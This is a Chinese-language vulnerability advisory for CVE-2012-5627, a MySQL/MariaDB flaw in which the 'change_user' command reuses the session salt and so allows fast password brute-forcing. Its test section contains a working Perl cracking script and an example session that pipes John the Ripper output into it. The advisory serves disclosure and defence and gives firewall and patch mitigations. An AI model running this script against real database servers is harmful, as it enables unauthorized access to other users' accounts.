Oracle MySQL/MariaDB密码SALT值处理不当安全限制绕过漏洞


发布日期:2012-12-06
更新日期:2012-12-09

受影响系统:
Oracle MySQL
Oracle MariaDB
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 56837
CVE(CAN) ID: CVE-2012-5627

Oracle MySQL Server是一个小型关系型数据库管理系统。MariaDB 是一个采用Maria存储引擎的MySQL分支版本,是免费开源的数据库服务器。

MySQL/MariaDB在处理会话用户密码SALT值时存在安全漏洞。用户尝试登录MySQL时,会生成一个SALT值,此SALT值用于整个会话。发送密码时需用SALT值,密码不正确连接即会被断掉,若要尝试新的密码,须重新连接,SALT也会重新生成,此机制可有效阻缓暴力猜解速度。然而当攻击者用一个无特权账户登录服务器后,可使用MySQL "change_user"命令尝试切换其它的账户,在此过程中SALT值不需改变,连接也不会断开,这导致可以快速暴力破解密码,导致绕过安全限制。

<*来源:Kingcope (kingcope@gmx.net)
 
  链接:http://www.openwall.com/lists/oss-security/2012/12/06/4
        https://bugzilla.RedHat.com/show_bug.cgi?id=883719
        http://seclists.org/fulldisclosure/2012/Dec/58
        http://seclists.org/oss-sec/2012/q4/424
        https://mariadb.atlassian.net/browse/MDEV-3915
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

use Net::MySQL;

$|=1;

my $mysql = Net::MySQL->new(
hostname => '192.168.2.3',
database => 'test',
user    => "user",
password => "secret",
debug => 0,
);

$crackuser = "crackme";

while(<stdin>) {
chomp;
$currentpass = $_;

$vv = join "\0",
                $crackuser,
                "\x14".
                Net::MySQL::Password->scramble(
                        $currentpass, $mysql->{salt}, $mysql->{client_capabilities}
                ) . "\0";
if ($mysql->_execute_command("\x11", $vv) ne undef) {
        print "[*] Cracked! --> $currentpass\n";
        exit;
}
}
---
example session:

C:\Users\kingcope\Desktop>C:\Users\kingcope\Desktop\john179\run\jo
hn --incremental --stdout=5 | perl mysqlcrack.pl
Warning: MaxLen = 8 is too large for the current hash type, reduced to 5
words: 16382  time: 0:00:00:02  w/s: 6262  current: citcH
words: 24573  time: 0:00:00:04  w/s: 4916  current: rap
words: 40956  time: 0:00:00:07  w/s: 5498  current: matc3
words: 49147  time: 0:00:00:09  w/s: 5030  current: 4429
words: 65530  time: 0:00:00:12  w/s: 5354  current: ch141
words: 73721  time: 0:00:00:14  w/s: 5021  current: v3n
words: 90104  time: 0:00:00:17  w/s: 5277  current: pun2
[*] Cracked! --> pass
words: 98295  time: 0:00:00:18  w/s: 5434  current: 43gs
Session aborted

建议:
--------------------------------------------------------------------------------
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 配置防火墙规则或ACL, 只允许信任用户访问MySQL/MariaDB

厂商补丁:

Oracle
------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.oracle.com/technetwork/topics/security/

相关内容